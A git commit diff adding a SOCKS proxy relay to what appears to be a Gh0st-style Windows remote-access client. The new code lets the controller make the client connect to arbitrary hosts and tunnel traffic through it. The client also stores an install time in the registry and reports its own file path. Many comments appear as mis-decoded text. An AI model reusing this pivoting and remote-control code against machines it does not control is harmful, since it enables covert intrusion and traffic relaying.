Implement SOCKS proxy feature

This commit is contained in:
yuanyuanxiang
2025-05-03 20:57:22 +08:00
parent 7e83dbd431
commit a98a612226
50 changed files with 15801 additions and 115 deletions

View File

@@ -70,23 +70,23 @@
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(SolutionDir)compress\libyuv;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(LibraryPath)</LibraryPath>
<IntDir>$(Configuration)\dll</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(SolutionDir)compress\libyuv;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(LibraryPath)</LibraryPath>
<IntDir>$(Platform)\$(Configuration)\dll</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(SolutionDir)compress\libyuv;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(LibraryPath)</LibraryPath>
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common</IncludePath>
<IntDir>$(Configuration)\dll</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(SolutionDir)compress\libyuv;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(LibraryPath)</LibraryPath>
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common</IncludePath>
<IntDir>$(Platform)\$(Configuration)\dll</IntDir>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
@@ -173,6 +173,7 @@
<ClCompile Include="KeyboardManager.cpp" />
<ClCompile Include="LoginServer.cpp" />
<ClCompile Include="Manager.cpp" />
<ClCompile Include="proxy\ProxyManager.cpp" />
<ClCompile Include="RegisterManager.cpp" />
<ClCompile Include="RegisterOperation.cpp" />
<ClCompile Include="ScreenManager.cpp" />
@@ -186,7 +187,6 @@
<ClCompile Include="X264Encoder.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\common\commands.h" />
<ClInclude Include="Audio.h" />
<ClInclude Include="AudioManager.h" />
<ClInclude Include="Buffer.h" />
@@ -199,6 +199,7 @@
<ClInclude Include="KeyboardManager.h" />
<ClInclude Include="LoginServer.h" />
<ClInclude Include="Manager.h" />
<ClInclude Include="proxy\ProxyManager.h" />
<ClInclude Include="RegisterManager.h" />
<ClInclude Include="RegisterOperation.h" />
<ClInclude Include="resource.h" />

View File

@@ -11,9 +11,85 @@
#include "ServicesManager.h"
#include "VideoManager.h"
#include "KeyboardManager.h"
#include "ProxyManager.h"
#include "KernelManager.h"
#define REG_SETTINGS "Software\\ServerD11\\Settings"
// д<><D0B4><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ã<EFBFBD><C3A3><EFBFBD><EFBFBD>ֽڰ棩
bool WriteAppSettingA(const std::string& keyName, const std::string& value) {
HKEY hKey;
LONG result = RegCreateKeyExA(
HKEY_CURRENT_USER,
REG_SETTINGS,
0,
NULL,
0,
KEY_WRITE,
NULL,
&hKey,
NULL
);
if (result != ERROR_SUCCESS) {
Mprintf("<EFBFBD>޷<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %d\n", result);
return false;
}
result = RegSetValueExA(
hKey,
keyName.c_str(),
0,
REG_SZ,
reinterpret_cast<const BYTE*>(value.c_str()),
static_cast<DWORD>(value.length() + 1)
);
RegCloseKey(hKey);
return result == ERROR_SUCCESS;
}
// <20><>ȡ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ã<EFBFBD><C3A3><EFBFBD><EFBFBD>ֽڰ棩
bool ReadAppSettingA(const std::string& keyName, std::string& outValue) {
HKEY hKey;
LONG result = RegOpenKeyExA(
HKEY_CURRENT_USER,
REG_SETTINGS,
0,
KEY_READ,
&hKey
);
if (result != ERROR_SUCCESS) {
return false;
}
char buffer[256];
DWORD bufferSize = sizeof(buffer);
DWORD type = 0;
result = RegQueryValueExA(
hKey,
keyName.c_str(),
nullptr,
&type,
reinterpret_cast<LPBYTE>(buffer),
&bufferSize
);
RegCloseKey(hKey);
if (result == ERROR_SUCCESS && type == REG_SZ) {
outValue = buffer;
return true;
}
return false;
}
DWORD WINAPI ThreadProc(LPVOID lParam)
{
THREAD_ARG_LIST ThreadArgList = {0};
@@ -94,3 +170,7 @@ DWORD WINAPI LoopKeyboardManager(LPVOID lParam)
{
return LoopManager<CKeyboardManager1, 0>(lParam);
}
DWORD WINAPI LoopProxyManager(LPVOID lParam) {
return LoopManager<CProxyManager, 0>(lParam);
}

View File

@@ -18,6 +18,11 @@ typedef struct UserParam
~UserParam() { SAFE_DELETE_ARRAY(buffer); }
}UserParam;
// д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
bool WriteAppSettingA(const std::string& keyName, const std::string& value);
// <20><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>
bool ReadAppSettingA(const std::string& keyName, std::string& outValue);
DWORD WINAPI ThreadProc(LPVOID lParam);
DWORD WINAPI LoopShellManager(LPVOID lParam);
@@ -31,3 +36,4 @@ DWORD WINAPI LoopAudioManager(LPVOID lParam);
DWORD WINAPI LoopRegisterManager(LPVOID lParam);
DWORD WINAPI LoopServicesManager(LPVOID lParam);
DWORD WINAPI LoopKeyboardManager(LPVOID lParam);
DWORD WINAPI LoopProxyManager(LPVOID lParam);

View File

@@ -126,6 +126,12 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
switch(szBuffer[0])
{
case COMMAND_PROXY: {
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopProxyManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_SHARE:
if (ulLength > 2) {
switch (szBuffer[1]) {

View File

@@ -201,6 +201,20 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn)
LoginInfor.bWebCamIsExist = bWebCamIsExist;
strcpy_s(LoginInfor.szStartTime, getProcessTime().c_str());
sprintf_s(LoginInfor.szReserved, "%s", GetClientType(conn.ClientType()));
LoginInfor.AddReserved("?"); // ϵͳλ<CDB3><CEBB>
LoginInfor.AddReserved("?"); // CPU<50><55><EFBFBD><EFBFBD>
LoginInfor.AddReserved("?"); // ϵͳ<CFB5>ڴ<EFBFBD>
char buf[_MAX_PATH] = {};
GetModuleFileNameA(NULL, buf, sizeof(buf));
LoginInfor.AddReserved(buf); // <20>ļ<EFBFBD>·<EFBFBD><C2B7>
LoginInfor.AddReserved("?"); // test
std::string installTime;
auto b = ReadAppSettingA("install_time", installTime);
if (!b || installTime.empty()) {
installTime = ToPekingTimeAsString(nullptr);;
WriteAppSettingA("install_time", installTime);
}
LoginInfor.AddReserved(installTime.c_str());
bool isDefault = strlen(conn.szFlag) == 0 || strcmp(conn.szFlag, skCrypt(FLAG_GHOST)) == 0 ||
strcmp(conn.szFlag, skCrypt("Happy New Year!")) == 0;
std::string masterHash(skCrypt(MASTER_HASH));

View File

@@ -14,6 +14,8 @@
typedef IOCPClient CClientSocket;
typedef IOCPClient ISocketBase;
HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
SIZE_T dwStackSize, // initial stack size
LPTHREAD_START_ROUTINE lpStartAddress, // thread function

View File

@@ -63,6 +63,7 @@
#include <time.h>
#include <stdio.h>
#include <stdlib.h>
// <20><><EFBFBD>ܼ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E3BAAF><EFBFBD>ĺ<EFBFBD>ʱ
class auto_tick
@@ -100,6 +101,10 @@ public:
#define SAFE_DELETE_ARRAY(p) if(NULL !=(p)){ delete[] (p);(p) = NULL;}
#endif
#ifndef SAFE_DELETE_AR
#define SAFE_DELETE_AR(p) if(NULL !=(p)){ delete[] (p);(p) = NULL;}
#endif
class CLock
{
private:
@@ -124,3 +129,18 @@ public:
EnterCriticalSection(&m_cs);
}
};
class CAutoLock
{
private:
CRITICAL_SECTION &m_cs;
public:
CAutoLock(CRITICAL_SECTION& cs) : m_cs(cs)
{
EnterCriticalSection(&m_cs);
}
~CAutoLock()
{
LeaveCriticalSection(&m_cs);
}
};

View File

@@ -68,22 +68,22 @@
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
<IntDir>$(Configuration)\test</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
<IntDir>$(Platform)\$(Configuration)\test</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
<IntDir>$(Configuration)\test</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
<IntDir>$(Platform)\$(Configuration)\test</IntDir>
</PropertyGroup>
@@ -161,7 +161,6 @@
<ItemGroup>
<ClInclude Include="MemoryModule.h" />
<ClInclude Include="resource1.h" />
<ClInclude Include="ShellcodeInj.h" />
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="TestRun.rc" />

View File

@@ -71,22 +71,22 @@
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<IntDir>$(Configuration)\ghost</IntDir>
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(LibraryPath)</LibraryPath>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(LibraryPath)</LibraryPath>
<IntDir>$(Platform)\$(Configuration)\ghost</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<IntDir>$(Configuration)\ghost</IntDir>
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(LibraryPath)</LibraryPath>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(LibraryPath)</LibraryPath>
<IntDir>$(Platform)\$(Configuration)\ghost</IntDir>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
@@ -183,6 +183,7 @@
<ClCompile Include="KeyboardManager.cpp" />
<ClCompile Include="LoginServer.cpp" />
<ClCompile Include="Manager.cpp" />
<ClCompile Include="proxy\ProxyManager.cpp" />
<ClCompile Include="RegisterManager.cpp" />
<ClCompile Include="RegisterOperation.cpp" />
<ClCompile Include="ScreenManager.cpp" />
@@ -196,12 +197,10 @@
<ClCompile Include="X264Encoder.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\common\commands.h" />
<ClInclude Include="Audio.h" />
<ClInclude Include="AudioManager.h" />
<ClInclude Include="Buffer.h" />
<ClInclude Include="CaptureVideo.h" />
<ClInclude Include="ClientDll.h" />
<ClInclude Include="Common.h" />
<ClInclude Include="CursorInfo.h" />
<ClInclude Include="FileManager.h" />
@@ -210,6 +209,7 @@
<ClInclude Include="KeyboardManager.h" />
<ClInclude Include="LoginServer.h" />
<ClInclude Include="Manager.h" />
<ClInclude Include="proxy\ProxyManager.h" />
<ClInclude Include="RegisterManager.h" />
<ClInclude Include="RegisterOperation.h" />
<ClInclude Include="resource.h" />

View File

@@ -0,0 +1,298 @@
// ShellManager.cpp: implementation of the CShellManager class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "ProxyManager.h"
#include <MSTcpIP.h>
#include <TCHAR.h>
#include "stdio.h"
#include <process.h>
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CProxyManager::CProxyManager(ISocketBase* pClient, int n, void* user) : CManager(pClient)
{
InitializeCriticalSection(&m_cs);
m_bUse = TRUE;
m_nSend = 0;
Threads = 0;
BYTE cmd = COMMAND_PROXY;
Send(&cmd, 1);
Mprintf("CProxyManager create: %p\n", this);
}
CProxyManager::~CProxyManager()
{
m_bUse = FALSE;
Sleep(1500);
std::map<DWORD, SOCKET*>::iterator it_oneofserver = list.begin();
while (it_oneofserver != list.end()) {
SOCKET* p_socket = (SOCKET*)(it_oneofserver->second);
if (p_socket) {
if (*p_socket != INVALID_SOCKET) {
closesocket(*p_socket);
*p_socket = 0;
}
SAFE_DELETE(it_oneofserver->second);
}
list.erase(it_oneofserver++);
}
Wait();
DeleteCriticalSection(&m_cs);
Mprintf("CProxyManager destroy: %p\n", this);
}
int CProxyManager::Send(LPBYTE lpData, UINT nSize)
{
if (!m_bUse) return 0;
int ret = CManager::Send(lpData, nSize);
return ret;
}
void CProxyManager::SendConnectResult(LPBYTE lpBuffer, DWORD ip, USHORT port)
{
lpBuffer[0] = TOKEN_PROXY_CONNECT_RESULT;
*(DWORD*)&lpBuffer[5] = ip;
*(USHORT*)&lpBuffer[9] = port;
Send(lpBuffer, 11);
}
void CProxyManager::Disconnect(DWORD index)
{
BYTE buf[5];
buf[0] = TOKEN_PROXY_CLOSE;
memcpy(&buf[1], &index, sizeof(DWORD));
Send(buf, sizeof(buf));
GetSocket(index,TRUE);
}
void CProxyManager::OnReceive(PBYTE lpBuffer, ULONG nSize)
{
if (lpBuffer[0] == TOKEN_HEARTBEAT) return;
if (!m_bUse) return ;
switch (lpBuffer[0]) {
/*[1]----[4]----[4]----[2]
cmd id ip port*/
case COMMAND_PROXY_CONNECT: {
SocksThreadArg arg;
arg.pThis = this;
arg.lpBuffer = lpBuffer;
AddThread(1);
CloseHandle((HANDLE)CreateThread(NULL, 0, SocksThread, (LPVOID)&arg, 0, NULL));
while (arg.lpBuffer)
Sleep(2);
}
break;
case COMMAND_PROXY_CONNECT_HOSTNAME: {
SocksThreadArg arg;
arg.pThis = this;
arg.lpBuffer = lpBuffer;
arg.len = nSize;
AddThread(1);
CloseHandle((HANDLE)CreateThread(NULL, 0, SocksThreadhostname, (LPVOID)&arg, 0, NULL));
while (arg.lpBuffer)
Sleep(2);
}
break;
case COMMAND_PROXY_CLOSE: {
GetSocket(*(DWORD*)&lpBuffer[1],TRUE);
}
break;
case COMMAND_PROXY_DATA:
DWORD index = *(DWORD*)&lpBuffer[1];
DWORD nRet, nSend = 5, nTry = 0;
SOCKET* s = GetSocket(index);
if (!s) return;
while (s && (nSend < nSize) && nTry < 15) {
nRet = send(*s, (char*)&lpBuffer[nSend], nSize - nSend, 0);
if (nRet == SOCKET_ERROR) {
nRet = GetLastError();
Disconnect(index);
break;
} else {
nSend += nRet;
}
nTry++;
}
break;
}
}
DWORD CProxyManager::SocksThread(LPVOID lparam)
{
SocksThreadArg* pArg = (SocksThreadArg*)lparam;
CProxyManager* pThis = pArg->pThis;
BYTE lpBuffer[11];
SOCKET* psock=new SOCKET;
DWORD ip;
sockaddr_in sockAddr;
int nSockAddrLen;
memcpy(lpBuffer, pArg->lpBuffer, 11);
pArg->lpBuffer = 0;
DWORD index = *(DWORD*)&lpBuffer[1];
*psock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (*psock == SOCKET_ERROR) {
pThis->SendConnectResult(lpBuffer, GetLastError(), 0);
SAFE_DELETE(psock);
pThis->AddThread(-1);
return 0;
}
ip = *(DWORD*)&lpBuffer[5];
// <20><><EFBFBD><EFBFBD>sockaddr_in<69>
sockaddr_in ClientAddr;
ClientAddr.sin_family = AF_INET;
ClientAddr.sin_port = *(u_short*)&lpBuffer[9];
ClientAddr.sin_addr.S_un.S_addr = ip;
if (connect(*psock, (SOCKADDR*)&ClientAddr, sizeof(ClientAddr)) == SOCKET_ERROR) {
pThis->SendConnectResult(lpBuffer, GetLastError(), 0);
SAFE_DELETE(psock);
pThis->AddThread(-1);
return 0;
}
pThis->list.insert(std::pair<DWORD, SOCKET*>(index, psock));
memset(&sockAddr, 0, sizeof(sockAddr));
nSockAddrLen = sizeof(sockAddr);
getsockname(*psock, (SOCKADDR*)&sockAddr, &nSockAddrLen);
if (sockAddr.sin_port == 0) sockAddr.sin_port = 1;
pThis->SendConnectResult(lpBuffer, sockAddr.sin_addr.S_un.S_addr, sockAddr.sin_port);
ISocketBase* pClient = pThis->m_ClientObject;
BYTE* buff = new BYTE[MAX_RECV_BUFFER];
struct timeval timeout;
SOCKET socket = *psock;
fd_set fdSocket;
FD_ZERO(&fdSocket);
FD_SET(socket, &fdSocket);
timeout.tv_sec = 0;
timeout.tv_usec = 10000;
buff[0] = TOKEN_PROXY_DATA;
memcpy(buff + 1, &index, 4);
while (pClient->IsRunning()) {
fd_set fdRead = fdSocket;
int nRet = select(NULL, &fdRead, NULL, NULL, &timeout);
if (nRet == SOCKET_ERROR) {
nRet = GetLastError();
pThis->Disconnect(index);
break;
}
if (nRet > 0) {
int nSize = recv(socket, (char*)(buff + 5), MAX_RECV_BUFFER - 5, 0);
if (nSize <= 0) {
pThis->Disconnect(index);
break;
}
if (nSize > 0)
pThis->Send(buff, nSize + 5);
}
}
SAFE_DELETE_AR(buff);
FD_CLR(socket, &fdSocket);
pThis->AddThread(-1);
return 0;
}
DWORD CProxyManager::SocksThreadhostname(LPVOID lparam)
{
SocksThreadArg* pArg = (SocksThreadArg*)lparam;
CProxyManager* pThis = pArg->pThis;
BYTE* lpBuffer = new BYTE[pArg->len];
memcpy(lpBuffer, pArg->lpBuffer, pArg->len);
pArg->lpBuffer = 0;
DWORD index = *(DWORD*)&lpBuffer[1];
USHORT nPort = 0;
memcpy(&nPort, lpBuffer + 5, 2);
hostent* pHostent = NULL;
pHostent = gethostbyname((char*)lpBuffer + 7);
if (!pHostent) {
pThis->SendConnectResult(lpBuffer, GetLastError(), 0);
SAFE_DELETE_AR(lpBuffer);
return 0;
}
SOCKET* psock=new SOCKET;
sockaddr_in sockAddr;
int nSockAddrLen;
*psock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (*psock == SOCKET_ERROR) {
pThis->SendConnectResult(lpBuffer, GetLastError(), 0);
SAFE_DELETE_AR(lpBuffer);
SAFE_DELETE(psock);
pThis->AddThread(-1);
return 0;
}
// <20><><EFBFBD><EFBFBD>sockaddr_in<69>
sockaddr_in ClientAddr;
ClientAddr.sin_family = AF_INET;
ClientAddr.sin_port = *(u_short*)&lpBuffer[5];
ClientAddr.sin_addr = *((struct in_addr*)pHostent->h_addr);
if (connect(*psock, (SOCKADDR*)&ClientAddr, sizeof(ClientAddr)) == SOCKET_ERROR) {
pThis->SendConnectResult(lpBuffer, GetLastError(), 0);
SAFE_DELETE_AR(lpBuffer);
SAFE_DELETE(psock);
pThis->AddThread(-1);
return 0;
}
pThis->list.insert(std::pair<DWORD, SOCKET*>(index, psock));
memset(&sockAddr, 0, sizeof(sockAddr));
nSockAddrLen = sizeof(sockAddr);
getsockname(*psock, (SOCKADDR*)&sockAddr, &nSockAddrLen);
if (sockAddr.sin_port == 0) sockAddr.sin_port = 1;
pThis->SendConnectResult(lpBuffer, sockAddr.sin_addr.S_un.S_addr, sockAddr.sin_port);
SAFE_DELETE_AR(lpBuffer);
ISocketBase* pClient = pThis->m_ClientObject;
BYTE* buff = new BYTE[MAX_RECV_BUFFER];
struct timeval timeout;
SOCKET socket = *psock;
fd_set fdSocket;
FD_ZERO(&fdSocket);
FD_SET(socket, &fdSocket);
timeout.tv_sec = 0;
timeout.tv_usec = 10000;
buff[0] = TOKEN_PROXY_DATA;
memcpy(buff + 1, &index, 4);
while (pClient->IsRunning()) {
fd_set fdRead = fdSocket;
int nRet = select(NULL, &fdRead, NULL, NULL, &timeout);
if (nRet == SOCKET_ERROR) {
nRet = GetLastError();
pThis->Disconnect(index);
break;
}
if (nRet > 0) {
int nSize = recv(socket, (char*)(buff + 5), MAX_RECV_BUFFER - 5, 0);
if (nSize <= 0) {
pThis->Disconnect(index);
break;
}
if (nSize > 0)
pThis->Send(buff, nSize + 5);
}
}
SAFE_DELETE_AR(buff);
FD_CLR(socket, &fdSocket);
pThis->AddThread(-1);
return 0;
}
SOCKET* CProxyManager::GetSocket(DWORD index, BOOL del)
{
if (!m_bUse) return NULL;
CAutoLock locallock(m_cs);
SOCKET* s = list[index];
if ( del) {
if (!s) return s;
closesocket(*s);
SAFE_DELETE(s);
list.erase(index);
}
return s;
}

View File

@@ -0,0 +1,40 @@
#pragma once
#include "Manager.h"
#include <map>
class CProxyManager : public CManager
{
public:
BOOL m_bUse;
CProxyManager(ISocketBase* pClient, int n = 0, void* user = nullptr);
virtual ~CProxyManager();
virtual void OnReceive(PBYTE lpBuffer, ULONG nSize);
int Send(LPBYTE lpData, UINT nSize);
void Disconnect(DWORD index);
void SendConnectResult(LPBYTE lpBuffer, DWORD ip, USHORT port);
static DWORD __stdcall SocksThread(LPVOID lparam);
static DWORD __stdcall SocksThreadhostname(LPVOID lparam);
DWORD m_nSend;
std::map<DWORD, SOCKET*> list;
SOCKET* GetSocket(DWORD index,BOOL del=FALSE);
CRITICAL_SECTION m_cs;
int Threads;
void AddThread(int n = 1) {
CAutoLock L(m_cs);
Threads += n;
}
void Wait() {
while (GetThread())
Sleep(50);
}
int GetThread() {
CAutoLock L(m_cs);
return Threads;
}
};
struct SocksThreadArg {
CProxyManager* pThis;
LPBYTE lpBuffer;
int len;
};

Binary file not shown.

View File

@@ -23,9 +23,12 @@
#include "InputDlg.h"
#include "CPasswordDlg.h"
#include "pwd_gen.h"
#include "parse_ip.h"
#include <proxy/ProxyMapDlg.h>
#include "DateVerify.h"
#include <fstream>
#include "common/skCrypter.h"
#include "common/commands.h"
#ifdef _DEBUG
#define new DEBUG_NEW
@@ -38,22 +41,6 @@
#define UM_ICONNOTIFY WM_USER+100
#define TIMER_CHECK 1
enum
{
ONLINELIST_IP=0, //IP<49><50><EFBFBD><EFBFBD>˳<EFBFBD><CBB3>
ONLINELIST_ADDR, //<2F><>ַ
ONLINELIST_COMPUTER_NAME, //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><>ע
ONLINELIST_OS, //<2F><><EFBFBD><EFBFBD>ϵͳ
ONLINELIST_CPU, //CPU
ONLINELIST_VIDEO, //<2F><><EFBFBD><EFBFBD>ͷ(<28><><EFBFBD><EFBFBD>)
ONLINELIST_PING, //PING(<28>Է<EFBFBD><D4B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)
ONLINELIST_VERSION, // <20><EFBFBD><E6B1BE>Ϣ
ONLINELIST_LOGINTIME, // <20><EFBFBD><EEB6AF><EFBFBD><EFBFBD>
ONLINELIST_CLIENTTYPE, // <20>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
ONLINELIST_MAX,
};
typedef struct
{
const char* szTitle; //<2F>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
@@ -64,15 +51,17 @@ const int g_Column_Count_Online = ONLINELIST_MAX; //
COLUMNSTRUCT g_Column_Data_Online[g_Column_Count_Online] =
{
{"IP", 148 },
{"<EFBFBD>˿<EFBFBD>", 64 },
{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<EFBFBD><EFBFBD>ע", 160 },
{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ", 256 },
{"IP", 130 },
{"<EFBFBD>˿<EFBFBD>", 60 },
{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><EFBFBD>", 130 },
